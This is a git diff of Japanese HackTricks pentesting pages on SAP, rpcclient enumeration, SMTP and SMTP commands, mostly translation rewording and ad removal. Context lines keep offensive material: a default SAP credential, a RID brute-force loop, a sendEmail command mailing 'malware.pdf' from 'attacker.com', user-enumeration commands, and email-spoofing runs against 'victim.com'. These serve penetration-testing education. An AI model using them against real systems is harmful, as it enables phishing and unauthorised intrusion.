そうであれば、Bugcrowdの[脆弱性評価分類](https://bugcrowd.com/vulnerability-rating-taxonomy)に基づいてP3と見なされます:壊れた認証とセッション管理 | HTTP経由の弱いログイン機能。ヒント:[http://SAP:50000/startPage](http://sap:50000/startPage)やログインポータルも確認してください :) +- 動詞改ざんによる認証バイパス?多分 :) +- `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#`を開き、「選択」ボタンを押し、開いたウィンドウで「検索」を押します。SAPユーザーのリストが表示されるはずです(脆弱性参照:[ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/)) +- 資格情報はHTTP経由で送信されていますか?そうであれば、Bugcrowdの[脆弱性評価分類法](https://bugcrowd.com/vulnerability-rating-taxonomy)に基づいてP3と見なされます:壊れた認証とセッション管理 | HTTP経由の弱いログイン機能。ヒント:[http://SAP:50000/startPage](http://sap:50000/startPage)やログインポータルも確認してください :) ![SAP Start Page](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/startPage.jpeg) @@ -179,9 +175,9 @@ BWDEVELOPER:Down1oad:001 ``` # 設定パラメータ -ペンテスト中に正しいログイン情報がある場合、または基本的な資格情報を使用してSAP GUIにログインできた場合、パラメータ値を確認できます。多くの基本的およびカスタム設定パラメータ値は脆弱性と見なされます。 +ペンテスト中に正しいログイン情報がある場合、または基本的な資格情報を使用してSAP GUIにログインできた場合、パラメータの値を確認できます。多くの基本的およびカスタム設定パラメータの値は脆弱性と見なされます。 -パラメータ値は手動および自動の両方で確認でき、スクリプト(例:[SAP Parameter Validator](https://github.com/damianStrojek/SAPPV))を使用できます。 +パラメータの値は、手動および自動の両方で確認でき、スクリプト(例:[SAP Parameter Validator](https://github.com/damianStrojek/SAPPV))を使用することができます。 ## 手動パラメータチェック @@ -206,10 +202,10 @@ BWDEVELOPER:Down1oad:001 | `login/no_automatic_user_sapstar` | `0` | 自動ユーザーSAPSTARの割り当てを無効にします。 | | `login/min_password_specials` | `0` | パスワードに必要な特殊文字の最小数。 | | `login/min_password_lng` | `<8` | パスワードに必要な最小長。 | -| `login/min_password_lowercase` | `0` | パスワードに必要な小文字の最小数。 | -| `login/min_password_uppercase` | `0` | パスワードに必要な大文字の最小数。 | -| `login/min_password_digits` | `0` | パスワードに必要な数字の最小数。 | -| `login/min_password_letters` | `1` | パスワードに必要な文字の最小数。 | +| `login/min_password_lowercase` | `0` | パスワードに必要な小文字の最小数。 | +| `login/min_password_uppercase` | `0` | パスワードに必要な大文字の最小数。 | +| `login/min_password_digits` | `0` | パスワードに必要な数字の最小数。 | +| `login/min_password_letters` | `1` | パスワードに必要な文字の最小数。 | | `login/fails_to_user_lock` | `<5` | ユーザーアカウントがロックされる前の失敗したログイン試行の数。 | | `login/password_expiration_time` | `>90` | パスワードの有効期限(日数)。 | | `login/password_max_idle_initial` | `<14` | パスワードの再入力を要求する前の最大アイドル時間(初期)。 | @@ -257,7 +253,7 @@ Vulnerability: "SAP Parameter Misconfiguration: bdc/bdel_auth_check" # 攻撃! - Windows 2000のような古いサーバーや技術で動作しているか確認します。 -- 可能なエクスプロイト/攻撃を計画します。SAPの発見のための多くのMetasploitモジュール(補助モジュール)やエクスプロイトがあります: +- 可能なエクスプロイト/攻撃を計画します。SAPディスカバリー用の多くのMetasploitモジュール(補助モジュール)やエクスプロイトがあります: ```text msf > search sap Matching Modules @@ -350,7 +346,7 @@ bizploit/plugins> start bizploit/plugins> back bizploit> start ``` -# その他のテストに役立つツール +# テストに役立つその他のツール - [PowerSAP](https://github.com/airbus-seclab/powersap) - SAPセキュリティを評価するためのPowershellツール - [Burp Suite](https://portswigger.net/burp) - ディレクトリファジングとウェブセキュリティ評価に必須 @@ -370,8 +366,5 @@ bizploit> start - [https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/) - [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) -
- -{% embed url="https://websec.nl/" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md b/src/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md index df229e5e2..969063a3e 100644 --- a/src/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md +++ b/src/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md @@ -2,36 +2,31 @@ {{#include ../../banners/hacktricks-training.md}} -
- -**Mobile Security**の専門知識を8kSec Academyで深めましょう。自己ペースのコースを通じてiOSとAndroidのセキュリティをマスターし、認定を取得しましょう: - -{% embed url="https://academy.8ksec.io/" %} ### 相対識別子 (RID) とセキュリティ識別子 (SID) の概要 **相対識別子 (RID)** と **セキュリティ識別子 (SID)** は、ネットワークドメイン内のオブジェクト(ユーザーやグループなど)を一意に識別し管理するためのWindowsオペレーティングシステムの重要なコンポーネントです。 - **SID** はドメインの一意の識別子として機能し、各ドメインが区別できるようにします。 -- **RID** はSIDに追加され、そのドメイン内のオブジェクトの一意の識別子を作成します。この組み合わせにより、オブジェクトの権限とアクセス制御の正確な追跡と管理が可能になります。 +- **RID** はSIDに付加され、これらのドメイン内のオブジェクトの一意の識別子を作成します。この組み合わせにより、オブジェクトの権限とアクセス制御の正確な追跡と管理が可能になります。 -例えば、`pepe`という名前のユーザーは、ドメインのSIDと彼の特定のRIDを組み合わせた一意の識別子を持つかもしれません。これは16進数(`0x457`)と10進数(`1111`)の形式で表されます。これにより、ドメイン内のpepeの完全かつ一意の識別子は次のようになります:`S-1-5-21-1074507654-1937615267-42093643874-1111`。 +例えば、`pepe`という名前のユーザーは、ドメインのSIDと彼の特定のRIDを組み合わせた一意の識別子を持つことがあります。これは16進数(`0x457`)および10進数(`1111`)形式で表されます。これにより、ドメイン内のpepeの完全かつ一意の識別子は次のようになります: `S-1-5-21-1074507654-1937615267-42093643874-1111`。 ### **rpcclientによる列挙** -Sambaの**`rpcclient`**ユーティリティは、**名前付きパイプを介してRPCエンドポイントと対話するために使用されます**。以下のコマンドは、**SMBセッションが確立された後にSAMR、LSARPC、およびLSARPC-DSインターフェースに対して発行できます**。通常、資格情報が必要です。 +Sambaの**`rpcclient`**ユーティリティは、**名前付きパイプを介してRPCエンドポイントと対話するために使用されます**。以下のコマンドは、**SMBセッションが確立された後にSAMR、LSARPC、およびLSARPC-DSインターフェースに対して発行できます**。これには通常、資格情報が必要です。 #### サーバー情報 -- **サーバー情報を取得するには**:`srvinfo`コマンドを使用します。 +- **サーバー情報を取得するには**: `srvinfo` コマンドを使用します。 #### ユーザーの列挙 -- **ユーザーをリストするには**:`querydispinfo`および`enumdomusers`を使用します。 -- **ユーザーの詳細を取得するには**:`queryuser <0xrid>`を使用します。 -- **ユーザーのグループを取得するには**:`queryusergroups <0xrid>`を使用します。 -- **ユーザーのSIDを取得するには**:`lookupnames `を使用します。 -- **ユーザーのエイリアスを取得するには**:`queryuseraliases [builtin|domain] `を使用します。 +- **ユーザーをリストするには**: `querydispinfo` および `enumdomusers` を使用します。 +- **ユーザーの詳細を取得するには**: `queryuser <0xrid>` を使用します。 +- **ユーザーのグループを取得するには**: `queryusergroups <0xrid>` を使用します。 +- **ユーザーのSIDを取得するには**: `lookupnames ` を使用します。 +- **ユーザーのエイリアスを取得するには**: `queryuseraliases [builtin|domain] ` を使用します。 ```bash # Users' RIDs-forced for i in $(seq 500 1100); do @@ -42,31 +37,31 @@ done ``` #### グループの列挙 -- **グループ**は: `enumdomgroups`で。 +- **グループ**は: `enumdomgroups`によって。 - **グループの詳細**は: `querygroup <0xrid>`で。 - **グループのメンバー**は: `querygroupmem <0xrid>`を通じて。 #### エイリアスグループの列挙 -- **エイリアスグループ**は: `enumalsgroups `で。 +- **エイリアスグループ**は: `enumalsgroups `によって。 - **エイリアスグループのメンバー**は: `queryaliasmem builtin|domain <0xrid>`で。 #### ドメインの列挙 -- **ドメイン**は: `enumdomains`を使用。 +- **ドメイン**は: `enumdomains`を使用して。 - **ドメインのSIDは取得される**: `lsaquery`を通じて。 -- **ドメイン情報は取得される**: `querydominfo`で。 +- **ドメイン情報は取得される**: `querydominfo`によって。 #### シェアの列挙 -- **すべての利用可能なシェア**は: `netshareenumall`で。 +- **すべての利用可能なシェア**は: `netshareenumall`によって。 - **特定のシェアに関する情報は取得される**: `netsharegetinfo `で。 #### SIDに関する追加操作 -- **名前によるSID**は: `lookupnames `を使用。 +- **名前によるSID**は: `lookupnames `を使用して。 - **さらに多くのSID**は: `lsaenumsid`を通じて。 -- **より多くのSIDを確認するためのRIDサイクリング**は: `lookupsids `で行われる。 +- **より多くのSIDを確認するためのRIDサイクリング**は: `lookupsids `によって行われる。 #### **追加コマンド** @@ -86,12 +81,7 @@ done | dsroledominfo | LSARPC-DS | プライマリドメイン情報を取得 | | dsenumdomtrusts | ADフォレスト内の信頼されたドメインを列挙 | | -ツール _**samrdump**_ **と** _**rpcdump**_ の動作をよりよく理解するために、[**Pentesting MSRPC**](../135-pentesting-msrpc.md)を読むべきです。 +ツール _**samrdump**_ **と** _**rpcdump**_ の動作をよりよく理解するためには、[**Pentesting MSRPC**](../135-pentesting-msrpc.md)を読むべきです。 -
- -**モバイルセキュリティ**の専門知識を深めるために、8kSec Academyで学びましょう。自己ペースのコースを通じてiOSとAndroidのセキュリティをマスターし、認定を取得しましょう: - -{% embed url="https://academy.8ksec.io/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-smtp/README.md b/src/network-services-pentesting/pentesting-smtp/README.md index 4ad971b0d..24b1dc690 100644 --- a/src/network-services-pentesting/pentesting-smtp/README.md +++ b/src/network-services-pentesting/pentesting-smtp/README.md @@ -2,19 +2,11 @@ {{#include ../../banners/hacktricks-training.md}} -
- -**ウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る** - -**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけるために、20以上のカスタムツールを使用し、自動化されたエクスプロイトを利用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - ## **基本情報** -**シンプルメール転送プロトコル (SMTP)** は、**電子メールの送受信**のためにTCP/IPスイート内で利用されるプロトコルです。受信者側でメッセージをキューイングする際の制限から、SMTPはしばしば**POP3またはIMAP**と一緒に使用されます。これらの追加プロトコルは、ユーザーがサーバーメールボックスにメッセージを保存し、定期的にダウンロードすることを可能にします。 +**Simple Mail Transfer Protocol (SMTP)** は、**電子メールの送受信**に使用されるTCP/IPスイート内のプロトコルです。受信者側でメッセージをキューイングする際の制限から、SMTPはしばしば**POP3またはIMAP**と一緒に使用されます。これらの追加プロトコルは、ユーザーがサーバーメールボックスにメッセージを保存し、定期的にダウンロードすることを可能にします。 -実際には、**電子メールプログラム**が**電子メールを送信するためにSMTPを使用し、受信するためにPOP3またはIMAPを利用する**ことが一般的です。Unixベースのシステムでは、**sendmail**が電子メール目的で最も頻繁に使用されるSMTPサーバーとして際立っています。商業パッケージであるSendmailはPOP3サーバーを含んでいます。さらに、**Microsoft Exchange**はSMTPサーバーを提供し、POP3サポートを含めるオプションを提供します。 +実際には、**電子メールプログラム**が**電子メールの送信にSMTPを使用し**、**受信にはPOP3またはIMAPを利用する**ことが一般的です。Unixベースのシステムでは、**sendmail**が電子メール目的で最も頻繁に使用されるSMTPサーバーとして際立っています。商用パッケージであるSendmailはPOP3サーバーを含んでいます。さらに、**Microsoft Exchange**はSMTPサーバーを提供し、POP3サポートを含めるオプションを提供しています。 **デフォルトポート:** 25,465(ssl),587(ssl) ``` @@ -23,12 +15,12 @@ PORT STATE SERVICE REASON VERSION ``` ### EMAIL Headers -もし**被害者にメールを送信させる機会がある**場合(例えば、ウェブページのコンタクトフォームを通じて)、それを行ってください。なぜなら、**メールのヘッダーを見て被害者の内部トポロジーについて学ぶことができるからです**。 +もし**被害者にメールを送信させる機会がある**(例えば、ウェブページのコンタクトフォームを通じて)、それを行ってください。なぜなら、**メールのヘッダーを見ることで被害者の内部トポロジーについて学ぶことができる**からです。 また、**存在しないアドレスにメールを送信しようとすることでSMTPサーバーからメールを取得する**こともできます(サーバーは攻撃者にNDNメールを送信します)。ただし、許可されたアドレスからメールを送信し(SPFポリシーを確認)、NDNメッセージを受信できることを確認してください。 -**異なる内容を送信することも試みるべきです。なぜなら、ヘッダーにより興味深い情報を見つけることができるからです**。例えば: `X-Virus-Scanned: by av.domain.com`\ -EICARテストファイルを送信するべきです。\ +**異なる内容を送信することも試みるべきです。なぜなら、ヘッダーにより興味深い情報を見つけることができる**からです。例えば:`X-Virus-Scanned: by av.domain.com`\ +EICARテストファイルを送信してください。\ **AV**を検出することで、**既知の脆弱性を悪用する**ことができるかもしれません。 ## Basic actions @@ -70,7 +62,7 @@ NTLM supported ### 内部サーバー名 - 情報漏洩 -一部のSMTPサーバーは、コマンド "MAIL FROM" が完全なアドレスなしで発行されると、送信者のアドレスを自動的に補完し、内部名を開示します: +一部のSMTPサーバーは、コマンド "MAIL FROM" が完全なアドレスなしで発行されると、送信者のアドレスを自動的に補完し、その内部名を開示します: ``` 220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200 EHLO all @@ -156,21 +148,13 @@ Metasploit: auxiliary/scanner/smtp/smtp_enum smtp-user-enum: smtp-user-enum -M -u -t Nmap: nmap --script smtp-enum-users ``` -
- -**ウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る** - -**実際のビジネスに影響を与える重要で悪用可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけるために、20以上のカスタムツールを使用し、自動化されたエクスプロイトを利用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - ## DSNレポート -**配信状況通知レポート**: 組織に**無効なアドレス**に**メール**を送信すると、その組織はそのアドレスが無効であることを通知し、**あなたにメールを返送します**。返送されたメールの**ヘッダー**には、レポートとやり取りしたメールサービスの**IPアドレス**やアンチウイルスソフトウェアの情報など、可能性のある**機密情報**が**含まれます**。 +**配信状況通知レポート**: 組織に**無効なアドレス**に**メール**を送信すると、組織はそのアドレスが無効であることを通知し、**あなたにメールを返送**します。返送されたメールの**ヘッダー**には、可能な**機密情報**(レポートとやり取りしたメールサービスのIPアドレスやアンチウイルスソフトウェアの情報など)が**含まれます**。 ## [コマンド](smtp-commands.md) -### Linuxコンソールからメールを送信する +### Linuxコンソールからのメール送信 ```bash sendEmail -t to@domain.com -f from@attacker.com -s -u "Important subject" -a /tmp/malware.pdf Reading message body from STDIN because the '-m' option was not used. @@ -243,7 +227,7 @@ smtp-smuggling.md ## メールスプーフィング対策 -組織は、SMTPメッセージのスプーフィングの容易さから、**SPF**、**DKIM**、および**DMARC**を採用することにより、無許可のメールが自分たちの名義で送信されるのを防ぎます。 +組織は、SMTPメッセージのスプーフィングの容易さから、**SPF**、**DKIM**、および**DMARC**を採用することで、無許可のメールが自分たちの名義で送信されるのを防ぎます。 **これらの対策に関する完全ガイド**は[https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/)で入手可能です。 @@ -253,7 +237,7 @@ smtp-smuggling.md > SPF [は2014年に「非推奨」とされました](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/)。これは、`_spf.domain.com`に**TXTレコード**を作成する代わりに、**同じ構文**を使用して`domain.com`に作成することを意味します。\ > さらに、以前のspfレコードを再利用するために、`"v=spf1 include:_spf.google.com ~all"`のようなものを見つけることは非常に一般的です。 -**送信者ポリシーフレームワーク**(SPF)は、メール転送エージェント(MTA)が、メールを送信しているホストが組織によって定義された承認されたメールサーバーのリストを照会することによって、そのホストがメールを送信することを許可されているかどうかを確認するためのメカニズムです。このリストには、**ドメイン名を代表してメールを送信することを許可された**さまざまな「**メカニズム**」が含まれています。 +**Sender Policy Framework**(SPF)は、メール転送エージェント(MTA)が、メールを送信しているホストが組織によって定義された承認されたメールサーバーのリストを照会することで、そのホストがメールを送信する権限があるかどうかを確認できるメカニズムです。このリストには、**ドメイン名を代表してメールを送信することが許可された**さまざまな「**メカニズム**」が含まれています。 #### メカニズム @@ -261,14 +245,14 @@ smtp-smuggling.md | メカニズム | 説明 | | --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| ALL | 常に一致します。以前のメカニズムで一致しなかったすべてのIPに対して、`-all`のようなデフォルトの結果に使用されます。 | +| ALL | 常に一致します。以前のメカニズムで一致しなかったすべてのIPに対して、デフォルトの結果として`-all`のように使用されます。 | | A | ドメイン名に送信者のアドレスに解決できるアドレスレコード(AまたはAAAA)がある場合、一致します。 | | IP4 | 送信者が指定されたIPv4アドレス範囲にある場合、一致します。 | | IP6 | 送信者が指定されたIPv6アドレス範囲にある場合、一致します。 | | MX | ドメイン名に送信者のアドレスに解決するMXレコードがある場合、一致します(つまり、メールはドメインの受信メールサーバーの1つから来ます)。 | -| PTR | クライアントのアドレスのドメイン名(PTRレコード)が指定されたドメインにあり、そのドメイン名がクライアントのアドレスに解決する場合(前方確認された逆DNS)、一致します。このメカニズムは推奨されず、可能な限り避けるべきです。 | -| EXISTS | 指定されたドメイン名が任意のアドレスに解決する場合、一致します(解決されるアドレスに関係なく)。これはほとんど使用されません。SPFマクロ言語と組み合わせることで、DNSBLクエリのようなより複雑な一致を提供します。 | -| INCLUDE | 他のドメインのポリシーを参照します。そのドメインのポリシーが合格すれば、このメカニズムも合格します。ただし、含まれたポリシーが失敗した場合、処理は続行されます。他のドメインのポリシーに完全に委任するには、リダイレクト拡張を使用する必要があります。 | +| PTR | クライアントのアドレスのドメイン名(PTRレコード)が指定されたドメインにあり、そのドメイン名がクライアントのアドレスに解決される場合(前方確認された逆DNS)、一致します。このメカニズムは推奨されず、可能な限り避けるべきです。 | +| EXISTS | 指定されたドメイン名が任意のアドレスに解決される場合、一致します(解決されるアドレスに関係なく)。これはほとんど使用されません。SPFマクロ言語と組み合わせることで、DNSBLクエリのようなより複雑な一致を提供します。 | +| INCLUDE | 他のドメインのポリシーを参照します。そのドメインのポリシーが通過すれば、このメカニズムも通過します。ただし、含まれたポリシーが失敗した場合、処理は続行されます。他のドメインのポリシーに完全に委任するには、リダイレクト拡張を使用する必要があります。 | | REDIRECT |

リダイレクトは、SPFポリシーをホストする別のドメイン名へのポインタであり、複数のドメインが同じSPFポリシーを共有できるようにします。これは、同じメールインフラストラクチャを共有する多数のドメインで作業する際に便利です。

リダイレクトメカニズムで示されたドメインのSPFポリシーが使用されます。

| **クオリファイア**を特定することも可能で、**メカニズムが一致した場合に何をすべきかを示します**。デフォルトでは、**クオリファイア「+」**が使用されます(したがって、いずれかのメカニズムが一致する場合、それは許可されていることを意味します)。\ @@ -302,13 +286,13 @@ _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 dig txt _netblocks3.google.com | grep spf _netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all" ``` -従来、正しい/任意のSPFレコードを持たないドメイン名を偽装することが可能でした。**現在**、**メール**が**有効なSPFレコードのないドメイン**から送信される場合、**自動的に拒否される/信頼されていないとマークされる**可能性が高いです。 +従来、正しい/任意のSPFレコードを持たない任意のドメイン名を偽装することが可能でした。**現在**、**メール**が**有効なSPFレコードを持たないドメインから送信される場合**、おそらく**自動的に拒否される/信頼されていないとマークされる**でしょう。 ドメインのSPFを確認するには、次のようなオンラインツールを使用できます: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html) ### DKIM (DomainKeys Identified Mail) -DKIMは、外部のメール転送エージェント(MTA)による検証を可能にするために、送信メールに署名するために利用されます。これにより、DNSからドメインの公開鍵を取得します。この公開鍵は、ドメインのTXTレコードにあります。この鍵にアクセスするには、セレクタとドメイン名の両方を知っている必要があります。 +DKIMは、外部のメール転送エージェント(MTA)による検証を可能にするために、送信メールに署名するために利用されます。これにより、ドメインの公開鍵をDNSから取得できます。この公開鍵は、ドメインのTXTレコードにあります。この鍵にアクセスするには、セレクタとドメイン名の両方を知っている必要があります。 例えば、鍵を要求するには、ドメイン名とセレクタが必要です。これらはメールヘッダーの`DKIM-Signature`に見つけることができます。例: `d=gmail.com;s=20120113`。 @@ -336,7 +320,7 @@ _dmarc.google.com. 300 IN TXT "v=DMARC1; p=quarantine; rua=mailto:mailauth-repor dig _dmarc.bing.com txt | grep DMARC _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;" ``` -#### DMARC タグ +#### DMARCタグ | タグ名 | 目的 | サンプル | | -------- | --------------------------------------------- | ------------------------------- | @@ -349,13 +333,13 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA | adkim | DKIMの整合性モード | adkim=s | | aspf | SPFの整合性モード | aspf=r | -### **サブドメインについては?** +### **サブドメインについてはどうですか?** -**ここから** [**こちら**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**。**\ +**ここから** [**こちら**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\ メールを送信する各サブドメインに対して、別々のSPFレコードを持つ必要があります。\ 以下は、以前openspf.orgに投稿されたもので、この種の情報にとって素晴らしいリソースでした。 -> デーモンの質問: サブドメインについては? +> デーモンの質問: サブドメインについてはどうですか? > > pielovers.demon.co.ukからメールを受け取った場合、pieloversのSPFデータがない場合、1つ上のレベルに戻ってdemon.co.ukのSPFをテストすべきですか? いいえ。Demonの各サブドメインは異なる顧客であり、各顧客は独自のポリシーを持っている可能性があります。Demonのポリシーがデフォルトで全顧客に適用されるのは理にかなりません。Demonがそれを望む場合、各サブドメインのためにSPFレコードを設定できます。 > @@ -367,7 +351,7 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA ### **オープンリレー** -メールが送信される際、スパムとしてフラグが立てられないようにすることが重要です。これは、**受信者によって信頼されるリレーサーバー**を使用することで達成されることが多いです。しかし、一般的な課題は、管理者がどの**IP範囲が許可されるべきかを完全に理解していない**ことです。この理解の欠如は、SMTPサーバーの設定ミスにつながる可能性があり、セキュリティ評価で頻繁に指摘されるリスクです。 +メールが送信される際、スパムとしてフラグが立てられないようにすることが重要です。これは、**受信者によって信頼されるリレーサーバー**を使用することで達成されることが多いです。しかし、一般的な課題は、管理者がどの**IP範囲が許可されるべきかを完全に理解していない**ことです。この理解の欠如は、SMTPサーバーの設定におけるミスにつながる可能性があり、セキュリティ評価で頻繁に指摘されるリスクです。 特に潜在的または進行中のクライアントとの通信に関して、メール配信の問題を回避するために、一部の管理者が使用する回避策は、**任意のIPアドレスからの接続を許可すること**です。これは、以下に示すように、SMTPサーバーの`mynetworks`パラメータをすべてのIPアドレスを受け入れるように設定することで行われます。 ```bash @@ -398,7 +382,7 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com ``` > [!WARNING] -> **dkim python lib**を使用してキーを解析する際に**エラーが発生した場合**は、以下のものを使用してください。\ +> もし**dkim python lib**を使用してキーを解析する際にエラーが発生した場合は、以下のものを自由に使用してください。\ > **注意**: これは、何らかの理由でopensslプライベートキーが**dkimによって解析できない**場合に迅速なチェックを行うための簡易的な修正です。 > > ``` @@ -491,7 +475,7 @@ s.sendmail(sender, [destination], msg_data) ### **詳細情報** -**これらの保護に関する詳細情報は** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/) **で確認してください。** +**これらの保護に関する詳細情報は** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/) **を参照してください。** ### **その他のフィッシング指標** @@ -575,12 +559,4 @@ Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit' ``` -
- -**ウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る** - -**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけるために、20以上のカスタムツールを使用し、自動化されたエクスプロイトを利用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-smtp/smtp-commands.md b/src/network-services-pentesting/pentesting-smtp/smtp-commands.md index 8e6344511..9b941a3c6 100644 --- a/src/network-services-pentesting/pentesting-smtp/smtp-commands.md +++ b/src/network-services-pentesting/pentesting-smtp/smtp-commands.md @@ -2,33 +2,25 @@ {{#include ../../banners/hacktricks-training.md}} -
- -**あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る** - -**実際のビジネスに影響を与える重要で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - -**コマンドの出所:** [**https://serversmtp.com/smtp-commands/**](https://serversmtp.com/smtp-commands/) +**Commands from:** [**https://serversmtp.com/smtp-commands/**](https://serversmtp.com/smtp-commands/) **HELO**\ -最初のSMTPコマンドで、送信者サーバーを特定し、一般的にそのドメイン名が続きます。 +最初のSMTPコマンドで、送信者サーバーを特定し、一般的にはそのドメイン名が続きます。 **EHLO**\ 会話を開始するための代替コマンドで、サーバーが拡張SMTPプロトコルを使用していることを示します。 **MAIL FROM**\ -このSMTPコマンドで操作が始まります:送信者は「From」フィールドにソースのメールアドレスを示し、実際にメール転送を開始します。 +このSMTPコマンドで操作が始まります:送信者は「From」フィールドにソースメールアドレスを記載し、実際にメール転送を開始します。 **RCPT TO**\ -メールの受信者を特定します;複数の受信者がいる場合は、コマンドが単にアドレスごとに繰り返されます。 +メールの受信者を特定します;複数の受信者がいる場合は、コマンドを単にアドレスごとに繰り返します。 **SIZE**\ このSMTPコマンドは、添付されたメールの推定サイズ(バイト単位)をリモートサーバーに通知します。また、サーバーが受け入れるメッセージの最大サイズを報告するためにも使用できます。 **DATA**\ -DATAコマンドでメールの内容の転送が始まります;一般的に、サーバーから354の応答コードが続き、実際の転送を開始する許可が与えられます。 +DATAコマンドでメールの内容の転送が始まります;一般的には、サーバーからの354応答コードが続き、実際の転送を開始する許可が与えられます。 **VRFY**\ 特定のメールアドレスまたはユーザー名が実際に存在するかどうかを確認するようサーバーに要求します。 @@ -37,7 +29,7 @@ DATAコマンドでメールの内容の転送が始まります;一般的に このコマンドは、クライアントとサーバーの役割を反転させるために使用され、新しい接続を実行する必要はありません。 **AUTH**\ -AUTHコマンドを使用して、クライアントはサーバーに対して自分自身を認証し、ユーザー名とパスワードを提供します。これは、適切な転送を保証するためのもう一つのセキュリティ層です。 +AUTHコマンドを使用して、クライアントはサーバーに対して自分自身を認証し、ユーザー名とパスワードを提供します。適切な転送を保証するための別のセキュリティ層です。 **RSET**\ 進行中のメール転送が終了することをサーバーに通知しますが、SMTPの会話は終了しません(QUITの場合のように)。 @@ -51,12 +43,4 @@ AUTHコマンドを使用して、クライアントはサーバーに対して **QUIT**\ SMTPの会話を終了します。 -
- -**あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る** - -**実際のビジネスに影響を与える重要で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-snmp/README.md b/src/network-services-pentesting/pentesting-snmp/README.md index 0129a96e3..056a5e022 100644 --- a/src/network-services-pentesting/pentesting-snmp/README.md +++ b/src/network-services-pentesting/pentesting-snmp/README.md @@ -2,15 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -
